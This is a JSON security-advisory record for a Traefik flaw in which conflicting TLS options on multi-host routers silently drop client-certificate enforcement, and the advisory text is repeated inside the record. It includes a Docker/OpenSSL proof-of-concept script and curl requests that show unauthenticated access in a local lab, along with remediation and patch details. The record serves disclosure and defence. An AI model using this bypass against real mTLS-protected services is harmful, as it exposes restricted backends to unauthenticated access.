{"id":"GHSA-g55h-rg46-x9c5","aliases":[],"summary":"TLS option confusion in multi-host routers can bypass mTLS for protected hosts","published_at":"2026-08-21T09:45:52Z","modified_at":"2026-08-21T09:45:52Z","products":[{"slug":"traefik","name":"Traefik","category":"proxy"}],"rating":{"severity":"high","score":8.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false},"fix_available":true,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"priority":10.2,"record_count":1,"vendors":["GitHub"],"details":"## Summary\n\nThere is a high severity vulnerability in Traefik's TLS options conflict resolution. TLS options are applied during the handshake and are therefore mapped to the host names of a router rule rather than to the router itself, so when several routers on the same entry point serve the same host name with different TLS options Traefik arbitrates the conflict by falling back to the `default` TLS options — and for a multi-host router that fallback is applied to every host name in the rule, including the ones that are not themselves in conflict. A router that requires client-certificate authentication for one of its hosts therefore stops enforcing it as soon as another router creates a TLS option conflict on any other host of the same rule, and a client without a certificate can reach the protected backend. The fix introduces the `core.strictTLSOptions` static configuration option, which disables the fallback and marks the conflicting routers in error instead; it defaults to `false` to preserve the existing behaviour, so it must be explicitly enabled to take effect. Both the v2 and v3 lines are affected; the v1 line, the v2 minors below v2.11 and the v3 minors below v3.7 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.55\n- https://github.com/traefik/traefik/releases/tag/v3.7.11\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\r\n\r\nTraefik v3.7.9 can apply the default TLS configuration to every host served by a multi-host HTTP router when another router creates a conflicting TLS option for only one of those hosts.\r\n\r\nThis can bypass client-certificate authentication for a protected host. In the reproduction below, `admin.example.com` is configured with a TLS option that requires and verifies a client certificate. A second router for `public.example.com` creates a same-host TLS-option conflict. After the conflict is introduced, a client without a certificate can complete the TLS handshake for `admin.example.com` and reach the backend.\r\n\r\nThe PoC is self-contained in this Markdown document. It creates all certificates, Compose files, and dynamic configuration in a temporary directory at runtime. No PoC repository files need to be distributed.\r\n\r\n### Details\r\n\r\nThe affected configuration is a multi-host router with a strict TLS option:\r\n\r\n```yaml\r\nhttp:\r\n  routers:\r\n    multi-host:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`admin.example.com`, `public.example.com`)\r\n      ruleSyntax: v2\r\n      service: app\r\n      tls:\r\n        options: strict\r\n```\r\n\r\nand a second router that overlaps only one host with the default TLS option:\r\n\r\n```yaml\r\n    public-default:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`public.example.com`)\r\n      service: app\r\n      tls: {}\r\n```\r\n\r\nThe strict option requires `RequireAndVerifyClientCert`:\r\n\r\n```yaml\r\ntls:\r\n  options:\r\n    strict:\r\n      clientAuth:\r\n        caFiles:\r\n          - /certs/ca.crt\r\n        clientAuthType: RequireAndVerifyClientCert\r\n```\r\n\r\nThe affected flow is:\r\n\r\n1. The multi-host router is registered in both the `admin.example.com` and `public.example.com` host buckets with the strict option.\r\n2. The second router introduces a default-option conflict for `public.example.com`.\r\n3. Conflict resolution mutates the shared multi-host router to use the default TLS option.\r\n4. The TCP router manager installs that shared resolved option for every domain parsed from the multi-host rule, including `admin.example.com`.\r\n5. The SNI check uses the same router-level resolution, so the request is accepted after negotiating the default no-client-certificate TLS configuration.\r\n\r\nRelevant source areas in v3.7.9:\r\n\r\n- [`pkg/config/dynamic/http_config.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/config/dynamic/http_config.go): `RouterTLSConfig.ResolvedOptions` is a single router-level value.\r\n- [`pkg/server/aggregator.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/aggregator.go): the same router is inserted into multiple host buckets and its shared TLS resolution is mutated during conflict handling.\r\n- [`pkg/server/router/tcp/manager.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/tcp/manager.go): one resolved TLS configuration is installed for each domain parsed from the router rule.\r\n- [`pkg/server/router/router.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/router.go) and [`pkg/middlewares/snicheck/snicheck.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/middlewares/snicheck/snicheck.go): SNI acceptance uses the router-level resolved option.\r\n\r\n### PoC\r\n\r\nThe following single shell block creates a temporary lab. It requires Docker, Docker Compose, and OpenSSL. It uses the official `traefik:v3.7.9` image and `traefik/whoami:v1.10.3` as the backend.\r\n\r\n```bash\r\nset -eu\r\n\r\nLAB_DIR=\"$(mktemp -d)\"\r\ncleanup() {\r\n  docker compose -f \"$LAB_DIR/compose.yml\" down -v >/dev/null 2>&1 || true\r\n  rm -rf \"$LAB_DIR\"\r\n}\r\ntrap cleanup EXIT\r\n\r\nmkdir -p \"$LAB_DIR/certs\"\r\ncd \"$LAB_DIR\"\r\n\r\n# Create a short-lived test CA.\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 \\\r\n  -subj '/CN=PoC CA' \\\r\n  -keyout certs/ca.key -out certs/ca.crt\r\n\r\n# Create a server certificate valid for both hosts.\r\ncat > certs/server.ext <<'EOF'\r\nsubjectAltName=DNS:admin.example.com,DNS:public.example.com\r\nextendedKeyUsage=serverAuth\r\nEOF\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -subj '/CN=admin.example.com' \\\r\n  -keyout certs/server.key -out certs/server.csr\r\nopenssl x509 -req -sha256 -days 7 \\\r\n  -in certs/server.csr \\\r\n  -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\r\n  -extfile certs/server.ext \\\r\n  -out certs/server.crt\r\n\r\n# Create a valid client certificate for the positive control.\r\ncat > certs/client.ext <<'EOF'\r\nextendedKeyUsage=clientAuth\r\nEOF\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -subj '/CN=authorized-client' \\\r\n  -keyout certs/client.key -out certs/client.csr\r\nopenssl x509 -req -sha256 -days 7 \\\r\n  -in certs/client.csr \\\r\n  -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\r\n  -extfile certs/client.ext \\\r\n  -out certs/client.crt\r\n\r\ncat > dynamic.yml <<'EOF'\r\ntls:\r\n  certificates:\r\n    - certFile: /certs/server.crt\r\n      keyFile: /certs/server.key\r\n  options:\r\n    strict:\r\n      clientAuth:\r\n        caFiles:\r\n          - /certs/ca.crt\r\n        clientAuthType: RequireAndVerifyClientCert\r\n\r\nhttp:\r\n  routers:\r\n    multi-host:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`admin.example.com`, `public.example.com`)\r\n      ruleSyntax: v2\r\n      service: app\r\n      tls:\r\n        options: strict\r\n\r\n    public-default:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`public.example.com`)\r\n      service: app\r\n      tls: {}\r\n\r\n  services:\r\n    app:\r\n      loadBalancer:\r\n        servers:\r\n          - url: http://backend:80\r\nEOF\r\n\r\ncat > compose.yml <<'EOF'\r\nservices:\r\n  traefik:\r\n    image: traefik:v3.7.9\r\n    command:\r\n      - --entrypoints.websecure.address=:8443\r\n      - --providers.file.filename=/etc/traefik/dynamic.yml\r\n      - --providers.file.watch=false\r\n      - --log.level=DEBUG\r\n      - --accesslog=true\r\n    ports:\r\n      - \"18443:8443\"\r\n    volumes:\r\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\r\n      - ./certs:/certs:ro\r\n\r\n  backend:\r\n    image: traefik/whoami:v1.10.3\r\nEOF\r\n\r\ndocker compose -f compose.yml up -d\r\nsleep 4\r\n\r\necho '--- request without a client certificate ---'\r\nset +e\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  https://admin.example.com:18443/\r\necho \"curl_exit=$?\"\r\nset -e\r\n\r\necho '--- request with a valid client certificate ---'\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  --cert certs/client.crt --key certs/client.key \\\r\n  https://admin.example.com:18443/\r\n\r\necho '--- conflict evidence ---'\r\ndocker compose -f compose.yml logs --no-color traefik | \\\r\n  grep -E 'different TLS options|Adding route for admin.example.com|Adding route for public.example.com'\r\n```\r\n\r\nObserved result on Traefik v3.7.9:\r\n\r\n```text\r\n--- request without a client certificate ---\r\nHTTP/1.1 200 OK\r\nBACKEND_REACHED or whoami backend response\r\ncurl_exit=0\r\n\r\n--- request with a valid client certificate ---\r\nHTTP/1.1 200 OK\r\nBACKEND_REACHED or whoami backend response\r\n```\r\n\r\nThe log contains equivalent evidence to:\r\n\r\n```text\r\nHost \"public.example.com\" is served by multiple routers with different TLS options, default TLSOptions will be applied\r\nAdding route for admin.example.com with TLS options default\r\nAdding route for public.example.com with TLS options default\r\n```\r\n\r\nThe no-client-certificate request succeeding is the security-relevant result. The `-k` option only skips server-certificate hostname verification in this local lab; it does not supply a client certificate.\r\n\r\n#### Safe control\r\n\r\nReplace the vulnerable `dynamic.yml` with the following split-router configuration and restart the same Compose service. This keeps the two hosts in separate routers, so the protected host has an unambiguous strict option:\r\n\r\n```yaml\r\ntls:\r\n  certificates:\r\n    - certFile: /certs/server.crt\r\n      keyFile: /certs/server.key\r\n  options:\r\n    strict:\r\n      clientAuth:\r\n        caFiles:\r\n          - /certs/ca.crt\r\n        clientAuthType: RequireAndVerifyClientCert\r\n\r\nhttp:\r\n  routers:\r\n    admin:\r\n      entryPoints: [websecure]\r\n      rule: Host(`admin.example.com`)\r\n      service: app\r\n      tls:\r\n        options: strict\r\n\r\n    public:\r\n      entryPoints: [websecure]\r\n      rule: Host(`public.example.com`)\r\n      service: app\r\n      tls: {}\r\n\r\n  services:\r\n    app:\r\n      loadBalancer:\r\n        servers:\r\n          - url: http://backend:80\r\n```\r\n\r\nRun:\r\n\r\n```bash\r\ndocker compose -f compose.yml down\r\n# Replace dynamic.yml with the safe YAML above, then:\r\ndocker compose -f compose.yml up -d\r\nsleep 4\r\n\r\nset +e\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  https://admin.example.com:18443/\r\necho \"curl_exit=$?\"\r\nset -e\r\n\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  --cert certs/client.crt --key certs/client.key \\\r\n  https://admin.example.com:18443/\r\n```\r\n\r\nExpected safe-control result:\r\n\r\n```text\r\nWithout a client certificate: TLS handshake failure\r\nWith the valid client certificate: HTTP/1.1 200 OK\r\n```\r\n\r\n### Impact\r\n\r\nAn unauthenticated remote client that can reach the affected TLS entrypoint may access a backend protected by client-certificate authentication. This can expose administrative or otherwise restricted services under the protected hostname. The confidentiality, integrity, and availability impact depends on the backend exposed through that hostname.\r\n\r\nThe issue is limited to configurations where a multi-host router overlaps a router with a different TLS option for only one of its hostnames. Single-host routers and multi-host configurations without conflicting TLS options are not expected to trigger this condition.\r\n\r\nThe flaw does not require the HTTP attacker to control the Traefik configuration after the conflicting routers have been deployed. In a multi-tenant deployment, a principal able to create a conflicting router may be able to trigger the condition; once present, the protected request itself requires no client certificate.\r\n\r\n### Suggested remediation\r\n\r\nTrack the resolved TLS option per hostname instead of storing only one resolved value on `RouterTLSConfig`. The TCP router manager and SNI check should retrieve the option for the canonical SNI/Host currently being processed.\r\n\r\nAdd an integration test covering:\r\n\r\n1. One router with `Host(\"admin.example.com\", \"public.example.com\")` and strict mTLS.\r\n2. One router with `Host(\"public.example.com\")` and default TLS.\r\n3. A request to `admin.example.com` without a client certificate.\r\n4. A request to `admin.example.com` with a valid client certificate.\r\n\r\nThe first request must fail the TLS handshake, and only the second request should reach the backend.\r\n\r\n### Version information\r\n\r\nThe behavior was reproduced with the official `traefik:v3.7.9` image. The complete affected version range and patched version are not known from this validation and should be confirmed against additional released versions.\r\n\n\n</details>","affected_stack":[{"ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v2.11.55"}]}],"fixed":["v2.11.55"],"provider":"github-repo-advisories","source":"GHSA-g55h-rg46-x9c5","relation":"self"},{"ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"v3.0.0"},{"fixed":"v3.7.11"}]}],"fixed":["v3.7.11"],"provider":"github-repo-advisories","source":"GHSA-g55h-rg46-x9c5","relation":"self"}],"affected_other":[],"product_status":[],"records":[{"provider":"github-repo-advisories","source_id":"GHSA-g55h-rg46-x9c5","relation":"self","url":"https://github.com/traefik/traefik/security/advisories/GHSA-g55h-rg46-x9c5","license":"GitHub Terms of Service","published_at":"2026-08-21T09:45:52Z","modified_at":"2026-08-21T09:45:52Z","summary":"TLS option confusion in multi-host routers can bypass mTLS for protected hosts","details":"## Summary\n\nThere is a high severity vulnerability in Traefik's TLS options conflict resolution. TLS options are applied during the handshake and are therefore mapped to the host names of a router rule rather than to the router itself, so when several routers on the same entry point serve the same host name with different TLS options Traefik arbitrates the conflict by falling back to the `default` TLS options — and for a multi-host router that fallback is applied to every host name in the rule, including the ones that are not themselves in conflict. A router that requires client-certificate authentication for one of its hosts therefore stops enforcing it as soon as another router creates a TLS option conflict on any other host of the same rule, and a client without a certificate can reach the protected backend. The fix introduces the `core.strictTLSOptions` static configuration option, which disables the fallback and marks the conflicting routers in error instead; it defaults to `false` to preserve the existing behaviour, so it must be explicitly enabled to take effect. Both the v2 and v3 lines are affected; the v1 line, the v2 minors below v2.11 and the v3 minors below v3.7 are no longer maintained and will not receive a patch of their own, so users running them should upgrade to a maintained, patched release.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.55\n- https://github.com/traefik/traefik/releases/tag/v3.7.11\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n<details>\n<summary>Original Description</summary>\n\n### Summary\r\n\r\nTraefik v3.7.9 can apply the default TLS configuration to every host served by a multi-host HTTP router when another router creates a conflicting TLS option for only one of those hosts.\r\n\r\nThis can bypass client-certificate authentication for a protected host. In the reproduction below, `admin.example.com` is configured with a TLS option that requires and verifies a client certificate. A second router for `public.example.com` creates a same-host TLS-option conflict. After the conflict is introduced, a client without a certificate can complete the TLS handshake for `admin.example.com` and reach the backend.\r\n\r\nThe PoC is self-contained in this Markdown document. It creates all certificates, Compose files, and dynamic configuration in a temporary directory at runtime. No PoC repository files need to be distributed.\r\n\r\n### Details\r\n\r\nThe affected configuration is a multi-host router with a strict TLS option:\r\n\r\n```yaml\r\nhttp:\r\n  routers:\r\n    multi-host:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`admin.example.com`, `public.example.com`)\r\n      ruleSyntax: v2\r\n      service: app\r\n      tls:\r\n        options: strict\r\n```\r\n\r\nand a second router that overlaps only one host with the default TLS option:\r\n\r\n```yaml\r\n    public-default:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`public.example.com`)\r\n      service: app\r\n      tls: {}\r\n```\r\n\r\nThe strict option requires `RequireAndVerifyClientCert`:\r\n\r\n```yaml\r\ntls:\r\n  options:\r\n    strict:\r\n      clientAuth:\r\n        caFiles:\r\n          - /certs/ca.crt\r\n        clientAuthType: RequireAndVerifyClientCert\r\n```\r\n\r\nThe affected flow is:\r\n\r\n1. The multi-host router is registered in both the `admin.example.com` and `public.example.com` host buckets with the strict option.\r\n2. The second router introduces a default-option conflict for `public.example.com`.\r\n3. Conflict resolution mutates the shared multi-host router to use the default TLS option.\r\n4. The TCP router manager installs that shared resolved option for every domain parsed from the multi-host rule, including `admin.example.com`.\r\n5. The SNI check uses the same router-level resolution, so the request is accepted after negotiating the default no-client-certificate TLS configuration.\r\n\r\nRelevant source areas in v3.7.9:\r\n\r\n- [`pkg/config/dynamic/http_config.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/config/dynamic/http_config.go): `RouterTLSConfig.ResolvedOptions` is a single router-level value.\r\n- [`pkg/server/aggregator.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/aggregator.go): the same router is inserted into multiple host buckets and its shared TLS resolution is mutated during conflict handling.\r\n- [`pkg/server/router/tcp/manager.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/tcp/manager.go): one resolved TLS configuration is installed for each domain parsed from the router rule.\r\n- [`pkg/server/router/router.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/server/router/router.go) and [`pkg/middlewares/snicheck/snicheck.go`](https://github.com/traefik/traefik/blob/v3.7.9/pkg/middlewares/snicheck/snicheck.go): SNI acceptance uses the router-level resolved option.\r\n\r\n### PoC\r\n\r\nThe following single shell block creates a temporary lab. It requires Docker, Docker Compose, and OpenSSL. It uses the official `traefik:v3.7.9` image and `traefik/whoami:v1.10.3` as the backend.\r\n\r\n```bash\r\nset -eu\r\n\r\nLAB_DIR=\"$(mktemp -d)\"\r\ncleanup() {\r\n  docker compose -f \"$LAB_DIR/compose.yml\" down -v >/dev/null 2>&1 || true\r\n  rm -rf \"$LAB_DIR\"\r\n}\r\ntrap cleanup EXIT\r\n\r\nmkdir -p \"$LAB_DIR/certs\"\r\ncd \"$LAB_DIR\"\r\n\r\n# Create a short-lived test CA.\r\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 \\\r\n  -subj '/CN=PoC CA' \\\r\n  -keyout certs/ca.key -out certs/ca.crt\r\n\r\n# Create a server certificate valid for both hosts.\r\ncat > certs/server.ext <<'EOF'\r\nsubjectAltName=DNS:admin.example.com,DNS:public.example.com\r\nextendedKeyUsage=serverAuth\r\nEOF\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -subj '/CN=admin.example.com' \\\r\n  -keyout certs/server.key -out certs/server.csr\r\nopenssl x509 -req -sha256 -days 7 \\\r\n  -in certs/server.csr \\\r\n  -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\r\n  -extfile certs/server.ext \\\r\n  -out certs/server.crt\r\n\r\n# Create a valid client certificate for the positive control.\r\ncat > certs/client.ext <<'EOF'\r\nextendedKeyUsage=clientAuth\r\nEOF\r\nopenssl req -newkey rsa:2048 -nodes \\\r\n  -subj '/CN=authorized-client' \\\r\n  -keyout certs/client.key -out certs/client.csr\r\nopenssl x509 -req -sha256 -days 7 \\\r\n  -in certs/client.csr \\\r\n  -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \\\r\n  -extfile certs/client.ext \\\r\n  -out certs/client.crt\r\n\r\ncat > dynamic.yml <<'EOF'\r\ntls:\r\n  certificates:\r\n    - certFile: /certs/server.crt\r\n      keyFile: /certs/server.key\r\n  options:\r\n    strict:\r\n      clientAuth:\r\n        caFiles:\r\n          - /certs/ca.crt\r\n        clientAuthType: RequireAndVerifyClientCert\r\n\r\nhttp:\r\n  routers:\r\n    multi-host:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`admin.example.com`, `public.example.com`)\r\n      ruleSyntax: v2\r\n      service: app\r\n      tls:\r\n        options: strict\r\n\r\n    public-default:\r\n      entryPoints:\r\n        - websecure\r\n      rule: Host(`public.example.com`)\r\n      service: app\r\n      tls: {}\r\n\r\n  services:\r\n    app:\r\n      loadBalancer:\r\n        servers:\r\n          - url: http://backend:80\r\nEOF\r\n\r\ncat > compose.yml <<'EOF'\r\nservices:\r\n  traefik:\r\n    image: traefik:v3.7.9\r\n    command:\r\n      - --entrypoints.websecure.address=:8443\r\n      - --providers.file.filename=/etc/traefik/dynamic.yml\r\n      - --providers.file.watch=false\r\n      - --log.level=DEBUG\r\n      - --accesslog=true\r\n    ports:\r\n      - \"18443:8443\"\r\n    volumes:\r\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\r\n      - ./certs:/certs:ro\r\n\r\n  backend:\r\n    image: traefik/whoami:v1.10.3\r\nEOF\r\n\r\ndocker compose -f compose.yml up -d\r\nsleep 4\r\n\r\necho '--- request without a client certificate ---'\r\nset +e\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  https://admin.example.com:18443/\r\necho \"curl_exit=$?\"\r\nset -e\r\n\r\necho '--- request with a valid client certificate ---'\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  --cert certs/client.crt --key certs/client.key \\\r\n  https://admin.example.com:18443/\r\n\r\necho '--- conflict evidence ---'\r\ndocker compose -f compose.yml logs --no-color traefik | \\\r\n  grep -E 'different TLS options|Adding route for admin.example.com|Adding route for public.example.com'\r\n```\r\n\r\nObserved result on Traefik v3.7.9:\r\n\r\n```text\r\n--- request without a client certificate ---\r\nHTTP/1.1 200 OK\r\nBACKEND_REACHED or whoami backend response\r\ncurl_exit=0\r\n\r\n--- request with a valid client certificate ---\r\nHTTP/1.1 200 OK\r\nBACKEND_REACHED or whoami backend response\r\n```\r\n\r\nThe log contains equivalent evidence to:\r\n\r\n```text\r\nHost \"public.example.com\" is served by multiple routers with different TLS options, default TLSOptions will be applied\r\nAdding route for admin.example.com with TLS options default\r\nAdding route for public.example.com with TLS options default\r\n```\r\n\r\nThe no-client-certificate request succeeding is the security-relevant result. The `-k` option only skips server-certificate hostname verification in this local lab; it does not supply a client certificate.\r\n\r\n#### Safe control\r\n\r\nReplace the vulnerable `dynamic.yml` with the following split-router configuration and restart the same Compose service. This keeps the two hosts in separate routers, so the protected host has an unambiguous strict option:\r\n\r\n```yaml\r\ntls:\r\n  certificates:\r\n    - certFile: /certs/server.crt\r\n      keyFile: /certs/server.key\r\n  options:\r\n    strict:\r\n      clientAuth:\r\n        caFiles:\r\n          - /certs/ca.crt\r\n        clientAuthType: RequireAndVerifyClientCert\r\n\r\nhttp:\r\n  routers:\r\n    admin:\r\n      entryPoints: [websecure]\r\n      rule: Host(`admin.example.com`)\r\n      service: app\r\n      tls:\r\n        options: strict\r\n\r\n    public:\r\n      entryPoints: [websecure]\r\n      rule: Host(`public.example.com`)\r\n      service: app\r\n      tls: {}\r\n\r\n  services:\r\n    app:\r\n      loadBalancer:\r\n        servers:\r\n          - url: http://backend:80\r\n```\r\n\r\nRun:\r\n\r\n```bash\r\ndocker compose -f compose.yml down\r\n# Replace dynamic.yml with the safe YAML above, then:\r\ndocker compose -f compose.yml up -d\r\nsleep 4\r\n\r\nset +e\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  https://admin.example.com:18443/\r\necho \"curl_exit=$?\"\r\nset -e\r\n\r\ncurl --http1.1 -sk -D - -o - \\\r\n  --resolve admin.example.com:18443:127.0.0.1 \\\r\n  --cert certs/client.crt --key certs/client.key \\\r\n  https://admin.example.com:18443/\r\n```\r\n\r\nExpected safe-control result:\r\n\r\n```text\r\nWithout a client certificate: TLS handshake failure\r\nWith the valid client certificate: HTTP/1.1 200 OK\r\n```\r\n\r\n### Impact\r\n\r\nAn unauthenticated remote client that can reach the affected TLS entrypoint may access a backend protected by client-certificate authentication. This can expose administrative or otherwise restricted services under the protected hostname. The confidentiality, integrity, and availability impact depends on the backend exposed through that hostname.\r\n\r\nThe issue is limited to configurations where a multi-host router overlaps a router with a different TLS option for only one of its hostnames. Single-host routers and multi-host configurations without conflicting TLS options are not expected to trigger this condition.\r\n\r\nThe flaw does not require the HTTP attacker to control the Traefik configuration after the conflicting routers have been deployed. In a multi-tenant deployment, a principal able to create a conflicting router may be able to trigger the condition; once present, the protected request itself requires no client certificate.\r\n\r\n### Suggested remediation\r\n\r\nTrack the resolved TLS option per hostname instead of storing only one resolved value on `RouterTLSConfig`. The TCP router manager and SNI check should retrieve the option for the canonical SNI/Host currently being processed.\r\n\r\nAdd an integration test covering:\r\n\r\n1. One router with `Host(\"admin.example.com\", \"public.example.com\")` and strict mTLS.\r\n2. One router with `Host(\"public.example.com\")` and default TLS.\r\n3. A request to `admin.example.com` without a client certificate.\r\n4. A request to `admin.example.com` with a valid client certificate.\r\n\r\nThe first request must fail the TLS handshake, and only the second request should reach the backend.\r\n\r\n### Version information\r\n\r\nThe behavior was reproduced with the official `traefik:v3.7.9` image. The complete affected version range and patched version are not known from this validation and should be confirmed against additional released versions.\r\n\n\n</details>","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","source":"GHSA-g55h-rg46-x9c5"}],"affected":[{"ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v2.11.55"}]}],"fixed":["v2.11.55"],"provider":"github-repo-advisories","source":"GHSA-g55h-rg46-x9c5","relation":"self"},{"ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"v3.0.0"},{"fixed":"v3.7.11"}]}],"fixed":["v3.7.11"],"provider":"github-repo-advisories","source":"GHSA-g55h-rg46-x9c5","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://github.com/traefik/traefik/security/advisories/GHSA-g55h-rg46-x9c5"}]}],"references":[{"type":"ADVISORY","url":"https://github.com/traefik/traefik/security/advisories/GHSA-g55h-rg46-x9c5"}],"sources":[{"provider":"github-repo-advisories","source_id":"GHSA-g55h-rg46-x9c5","url":"https://github.com/traefik/traefik/security/advisories/GHSA-g55h-rg46-x9c5","license":"GitHub Terms of Service","modified_at":"2026-08-21T09:45:52Z","relation":"self"}]}
